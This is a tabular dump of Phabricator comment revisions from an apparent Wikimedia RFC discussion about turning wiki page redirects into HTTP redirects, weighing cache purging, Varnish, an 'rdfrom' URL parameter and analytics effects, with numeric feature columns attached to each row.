+",,,1498579156,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+882791,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3380437, @Krinkle wrote:
+> So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`.
+
+Note that a much prettier `/?title=Target&rdfrom=Redirect#Section` works too and with the parameters swapped I like it even more. How about introducing something like `$wgIndexPath=""/""`? (See T18659#215617)",,,1498564521,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+882613,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3381115, @petr.matas wrote:
+>>>! In T53736#3380929, @Tbayer wrote:
+>> Naive question: What would the analytics impact of this be - would we continue to register a webrequest / pageview for the redirect page, or would this change to the target page? (Cf. T121912)
+> 
+> In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.
+
+Well maybe, but it would be better to have the Analytics Engineering team confirm that it will indeed not difficult for them to adapt their code and infrastructure to this change.
+
+FWIW, per https://wikitech.wikimedia.org/wiki/Analytics/Data_Lake/Traffic/Pageviews/Redirects the current infrastructure does not count 301 redirects as pageviews, so the proposal would seem to cause major changes in the pageview data. In some aspects it might actually be desirable, in others less so.
+
+(CCing @mforns as the author of that documentation page, @nuria as the team's lead engineer, plus @Milimetric and @MusikAnimal who IIRC have an interest in the topic too)",,,1498537269,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1
+882605,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3380929, @Tbayer wrote:
+> Naive question: What would the analytics impact of this be - would we continue to register a webrequest / pageview for the redirect page, or would this change to the target page? (Cf. T121912)
+
+In case of HTTP 301/302 I think it should not be difficult to process the pair of requests as a single event and account for it in any way that we find appropriate.",,,1498532615,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+882559,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3365130, @Zazpot wrote:
+>>>! In T53736#3349657, @GWicke wrote:
+>> In the past, we discussed adding the ""redirected from"" thing in client-side javascript.
+> 
+> It's unclear (to me) from this remark whether you spotted that the purpose of this issue is, at least in part, to handle cases where client-side JavaScript is not present (e.g. a browser that does not support JavaScript, or that has JavaScript disabled). Probably you already understood that, but I'm adding this clarificatory remark just in case not ;)
+
+To clarify: I was talking about the ""redirected from"" notice, which at least the current description does not call out as needs-to-work-without-JS. While fundamental functionality like linking clearly shouldn't rely on JS, it might make sense to rely on JS for less critical features like small notices aimed primarily at editors, especially when that enables better cache performance.",,,1498522148,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+882543,Consider changing wikipage redirects to be proper HTTP redirects,"Naive question: What would the analytics impact of this be - would we continue to register a webrequest / pageview for the redirect page, or would this change to the target page? (Cf. T121912)",,,1498520815,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+882597,Consider changing wikipage redirects to be proper HTTP redirects,"@Krinkle Thank you for your thorough explanation. I just thought that the `rdfrom` parameter's purpose was to be able to provide the ""Redirected from .."" message while using a HTTP 302 redirect:
+If `/wiki/Redirect` responds with something like
+`302 Found; Location: /wiki/Target?rdfrom=Redirect#Section`, we will:
+- not need to purge `/wiki/Redirect` upon modification of `Target`,
+- not need to alter `<a href=""/wiki/Redirect"">` in rendered pages,
+- not need to purge pages linking to `Redirect` upon its modification,
+- have to purge `/wiki/Target?rdfrom=anything` upon modification of `Target`.",,,1498530712,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+882534,Consider changing wikipage redirects to be proper HTTP redirects,"@Krinkle Thank you for your thorough explanation. I just thought that the `rdfrom` parameter's purpose was to be able to provide the ""Redirected from .."" message while using a HTTP 302 redirect:
+If `/wiki/Redirect` responds with something like
+`302 Found; Location: /wiki/Target?rdrom=Redirect#Section`, we will:
+- not need to purge `/wiki/Redirect` upon modification of `Target`,
+- not need to alter `<a href=""/wiki/Redirect"">` in rendered pages,
+- not need to purge pages linking to `Redirect` upon its modification,
+- have to purge `/wiki/Target?rdrom=anything` upon modification of `Target`.",,,1498519831,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+882398,Consider changing wikipage redirects to be proper HTTP redirects,"I've updated the task description to provide a summarised problem statement.
+
+@petr.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".
+
+Rendering of page links in the content would change to link to `Target#Section` instead of `Redirect`, and we'd also add a query parameter that says we came from `Redirect`.
+
+* Page rendering:  `<a href=""/wiki/Redirect` would instead become `<a href=""/wiki/Target?rdfrom=Redirect#Section`.
+
+Impact:
+* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
+* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
+* Purging: Also, we need need to purge the exact url `Target?rdfrom=Redirect` whenever `Target` is edited. Right now we purge `Redirect` because `/wiki/Redirect` currently renders the content of `Target` (+ header message). We'll need to update that logic to also purge `Target?rdfrom=Redirect`.
+
+One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on `/w/index.php`, not `/wiki/`. So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`. The problem with that is that that makes rewriting to `/wiki/Target` harder because it changes directory from `/w` to `/wiki` which causes bugs when resolving relative links on the page. (e.g. `./Foo` becomes `/wiki/Foo` or `/w/Foo`).
+
+In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. `rdfrom` first: `/w/index.php?rdfrom=Redirect&title=Target#Section`. Although that should be fine, given we already have that with `action=raw` and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting `rdfrom` in that it makes the url nicer (it puts `Target` and `#Section` next to each other). But that should be invisible to most users, and it's better to be consistent with other urls and always put `title` first.
+
+Lastly, when JavaScript fails or otherwise unavailable, in the current situation, the fallback is rendering (and sharing) of `/wiki/Redirect` which isn't a bad url. The only downside is that people may see ""Redirected from"" which is fine. The same would've happened if `Redirect` wasn't a redirect at the time of sharing and only became a redirect later. The url pattern is consistent and transparent to the user. However, when we change redirects to `/w/`, query parameters the fallback is showing `/w/index.php?title=Target&rdfrom=Redirect#Section` which is a url we'd prefer not to spread. But again, perhaps it doesn't matter?
+
+All in all, it seems we can deal with the impact without any significant downsides.
+
+>>! In T53736#3380285, @petr.matas wrote:
+> May I ask for an explanation [..] of the //URL parameter in HTTP redirect target// solution's cons, please? [..] What does the stripping in Varnish mean and what are its implications?
+
+The ""stripping in Varnish"" refers to a minor optimisation of the query parameter proposal. If we remove the ""Redirected from"" message from ""/wiki/Redirect"" and instead change pages to link directly to `/wiki/Target?rdrom=Redirect`, that would work fine, but has the minor down side of increasing the number of different versions of `Target` we need to store in Varnish (our page caching system). If we configure Varnish to redirect `Article?rdfrom=...` exactly the same as `/wiki/Article`, we would only have 1 thing to cache per article, instead of ""two"" versions of it. Then, in JavaScript, if you view the page with `rdfrom` (which would be ignored by the server), we can re-create the ""Redirected from .."" message and add it to the top of the page.
+
+",,,1498510556,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1
+882391,Consider changing wikipage redirects to be proper HTTP redirects,"I've updated the task description to provide a summarised problem statement.
+
+@petr.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".
+
+Rendering of page links in the content would change to link to `Target#Section` instead of `Redirect`, and we'd also add a query parameter that says we came from `Redirect`.
+
+* Page rendering:  `<a href=""/wiki/Redirect` would instead become `<a href=""/wiki/Target?rdfrom=Redirect#Section`.
+
+Impact:
+* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
+* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
+* Purging: Also, we need need to purge the exact url `Target?rdfrom=Redirect` whenever `Target` is edited. Right now we purge `Redirect` because `/wiki/Redirect` currently renders the content of `Target` (+ header message). We'll need to update that logic to also purge `Target?rdfrom=Redirect`.
+
+One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on `/w/index.php`, not `/wiki/`. So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`. The problem with that is that that makes rewriting to `/wiki/Target` harder because it changes directory from `/w` to `/wiki` which causes bugs when resolving relative links on the page. (e.g. `./Foo` becomes `/wiki/Foo` or `/w/Foo`).
+
+In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. `rdfrom` first: `/w/index.php?rdfrom=Redirect&title=Target#Section`. Although that should be fine, given we already have that with `action=raw` and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting `rdfrom` in that it makes the url nicer (it puts `Target` and `#Section` next to each other). But that should be invisible to most users, and it's better to be consistent with other urls and always put `title` first.
+
+Lastly, when JavaScript fails or otherwise unavailable, in the current situation, the fallback is rendering (and sharing) of `/wiki/Redirect` which isn't a bad url. The only downside is that people may see ""Redirected from"" which is fine. The same would've happened if `Redirect` wasn't a redirect at the time of sharing and only became a redirect later. The url pattern is consistent and transparent to the user. However, when we change redirects to `/w/`, query parameters the fallback is showing `/w/index.php?title=Target&rdfrom=Redirect#Section` which is a url we'd prefer not to spread. But again, perhaps it doesn't matter?",,,1498510005,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+882390,Consider changing wikipage redirects to be proper HTTP redirects,"I've updated the task description to provide a summarised problem statement.
+
+@petr.matas Let's explore adding a query parameter. There are multiple kinds of query parameters we could consider, but let's start by considering a query parameter to indicate where we redirected ""from"".
+
+Rendering of page links in the content would change to link to `Target#Section` instead of `Redirect`, and we'd also add a query parameter that says we came from `Redirect`.
+
+* Page rendering:  `<a href=""/wiki/Redirect` would instead become `<a href=""/wiki/Target?rdfrom=Redirect#Section`.
+
+Impact:
+* Usability: The order of information is slight confusing. However, this seems like a small trade-off and probably unavoidable.  At least for JavaScript-enabled users we'll be able to hide it, similar to how we already replace the address bar to avoid the redirect for social sharing.
+* Parser cache: We'll have to start purging parser cache of all pages with incoming links when editing a redirect. This is a small cost we'll pay internally, but nothing we can't handle, and won't affect the user.
+* Purging: Also, we need need to purge the exact url `Target?rdfrom=Redirect` whenever `Target` is edited. Right now we purge `Redirect` because `/wiki/Redirect` currently renders the content of `Target` (+ header message). We'll need to update that logic to also purge `Target?rdfrom=Redirect`.
+
+One problem this also exposes is that we currently discourage use of query parameters on ""pretty"" urls. E.g. they're supposed to be used on `/w/index.php`, not `/wiki/`. So perhaps it's better if we link to `/w/index.php?title=Target&rdfrom=Redirect#Section`. The problem with that is that that makes rewriting to `/wiki/Target` harder because it changes directory from `/w` to `/wiki` which causes bugs when resolving relative links on the page. (e.g. `./Foo` becomes `/wiki/Foo` or `/w/Foo`).
+
+In addition, using query parameters may add the expectation of it being ""okay"" to use them in a different order. E.g. `rdfrom` first: `/w/index.php?rdfrom=Redirect&title=Target#Section`. Although that should be fine, given we already have that with `action=raw` and we only purge the official order. The other ones will become stale. In fact, it might actually be useful to consider putting `rdfrom` in that it makes the url nicer (it puts `Target
+
+
+
+
+/w?rdfrom=Knight_4000&title=KITT#Knight_4000 (logical, but non-standard order)
+
+/w?title=KITT&rdfrom=Knight_4000#Knight_4000 (standard order, but confusing to read. also cannot be safely rewritten client-side from /w to /wiki due to base path differences)
+
+/wiki/KITT?rdfrom=Knight_4000#Knight_4000 (safely written, somewhat confusing to read - should be fine otherwise)
+",,,1498509838,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,199,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+882350,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3349657, @GWicke wrote:
+> I guess cookie, localstorage, or magic URL parameter in redirect target (stripped in Varnish) could work, with different pros & cons.
+
+May I ask for an explanation (or a reference to one) of the //URL parameter in HTTP redirect target// solution's cons, please? (Some pros are at T144781#3342890; sorry for repeating myself.) What does the stripping in Varnish mean and what are its implications?",,,1498505715,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+882261,Consider changing wikipage redirects to be proper HTTP redirects,"This RFC has been scheduled for public discussion on June 28. As always, the discussion will take place in the IRC channel #wikimedia-office on Wednesday 21:00 UTC (2pm PDT, 23:00 CEST).
+
+The aim of the public discussion is to evaluate the various options, rule some out, and perhaps discover new ones.
+
+This is a very old discussion, and has subtle but far reaching implications, both technical and user facing.
+
+Pinging Readers: @JKatzWMF 
+Pinging Community Liaisons: @Trizek-WMF, @Keegan, @Quiddity.
+Pinging Opsen: @faidon @Dzahn @Joe ",,,1498499279,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,199,True,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,1
+879529,Consider changing wikipage redirects to be proper HTTP redirects,"Performance is not a concern, because HTTP redirect to a fragment is faster than jump to an anchor using JavaScript (compare opening [[ https://en.wikipedia.org/wiki/WP:Notability#General_notability_guideline | WP:Notability#General_notability_guideline ]] and [[ https://en.wikipedia.org/wiki/Wikipedia:GNG | Wikipedia:GNG ]]).",,,1497997793,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1
+879423,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3362847, @Tgr wrote:
+>>>! In T53736#3343170, @Krinkle wrote:
+>> Related use cases we don't want to break:
+> 
+> Also performance? A HTTP redirect would introduce delay for no good reason (unless we cache it in Varnish and then deal with cache invalidation).
+> 
+> [...] IMO the low-hanging fruit is to just change the text of the redirect warning as suggested in T53736#556866.
+
+Caching, and handling the cache invalidation correctly, would be ideal.
+
+Failing that, it would still be preferable for users without JavaScript to have a proper HTTP redirect (even with the small delay that would introduce) than to be taken to the wrong place without explanation (as they are now), or to be taken to the wrong place, but with a link which, if they are lucky enough to spot and click on it, will take them to the right place.",,,1497987412,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+879420,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3349657, @GWicke wrote:
+> In the past, we discussed adding the ""redirected from"" thing in client-side javascript.
+
+It's unclear (to me) from this remark whether you spotted that the purpose of this issue is, at least in part, to handle cases where client-side JavaScript is not present (e.g. a browser that does not support JavaScript, or that has JavaScript disabled). Probably you already understood that, but I'm adding this clarificatory remark just in case not ;)",,,1497987069,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1
+879006,Consider changing wikipage redirects to be proper HTTP redirects,"> I think we can solve this quite easily nowadays.
+>
+> - In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).
+
+> Example:
+>
+> - In the case of `Knight 4000` the link would become `/wiki/Knight_4000#Knight_4000`. (Currently it is `/wiki/Knight_4000`, canonical destination would be: `/wiki/KITT#Knight_4000`)
+
+This might be easy without caching, but with caching you must also ensure that the cache is invalidated whenever necessary, which is definitely not easy.
+
+Let's assume that a page `Foo` links to `Knight 4000`. When `Foo` is saved, the HTML (and most likely other things related to the page content) is cached. When the `Knight 4000` redirect changes, the cached version of `Foo` has to be invalidated, because the `#Knight_4000` fragment might be invalid.
+
+The HTTP redirects win this case from both the complexity and efficiency point of view. There might also be other scenarios that need to be taken care of and nobody thought of them yet...",,,1497959216,,PHID-USER-qwxkrd4xi74hgc24cflz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1
+878997,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3343170, @Krinkle wrote:
+> Related use cases we don't want to break:
+
+Also performance? A HTTP redirect would introduce delay for no good reason (unless we cache it in Varnish and then deal with cache invalidation).
+
+The fragment resolving approach is an improvement, although I'm not sure if it's worth the effort and complexity. IMO the low-hanging fruit is to just change the text of the redirect warning as suggested in T53736#556866.",,,1497956521,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,198,True,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+876455,Consider changing wikipage redirects to be proper HTTP redirects,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript. It's just hard to figure out that a redirect happened, and what the original title was. `document.referrer` tends to point to the original page, not the redirected page. I guess cookie, localstorage, or magic URL parameter in redirect target (stripped in Varnish) could work, with different pros & cons.
+
+There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548",,,1497478281,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+876453,Consider changing wikipage redirects to be proper HTTP redirects,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript. It's just hard to figure out that a redirect happened, and what the original title was. I guess cookie, localstorage, or magic URL parameter in redirect target (stripped in Varnish) could work, with different pros & cons.
+
+There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548",,,1497478242,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+876365,Consider changing wikipage redirects to be proper HTTP redirects,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript, possibly based on comparing `document.referrer` to the current location.
+
+There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548",,,1497473854,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+876335,Consider changing wikipage redirects to be proper HTTP redirects,"I like the direction. In the past, we discussed adding the ""redirected from"" thing in client-side javascript, possibly based on the history.
+
+There is some related discussion and information about redirect handling and its interaction with (API) clients in this REST API task: T118548",,,1497471862,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+876333,Consider changing wikipage redirects to be proper HTTP redirects,See also this related discussion about redirect handling in the REST API: T118548,,,1497471663,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,198,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+874882,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3343170, @Krinkle wrote:
+> * In the Parser, when linking to a page that is a redirect, fetch the destination but only use its anchor (hash fragment).
+
+There are more caveats:
+- This is not going to work for interwiki links and links incoming from other sites.
+- When inspecting the target URL of a link in a wiki page, the reader will not be able to distinguish, whether the fragment part comes from the wikilink on this page, or from a redirect.
+
+I have proposed a solution with a HTTP redirect and a URL parameter, which has none of these four caveats, at T144781#3342890.",,,1497310000,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,197,True,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+874871,Consider changing wikipage redirects to be proper HTTP redirects,"Retrospect 4 years later.
+
+The main problem:
+
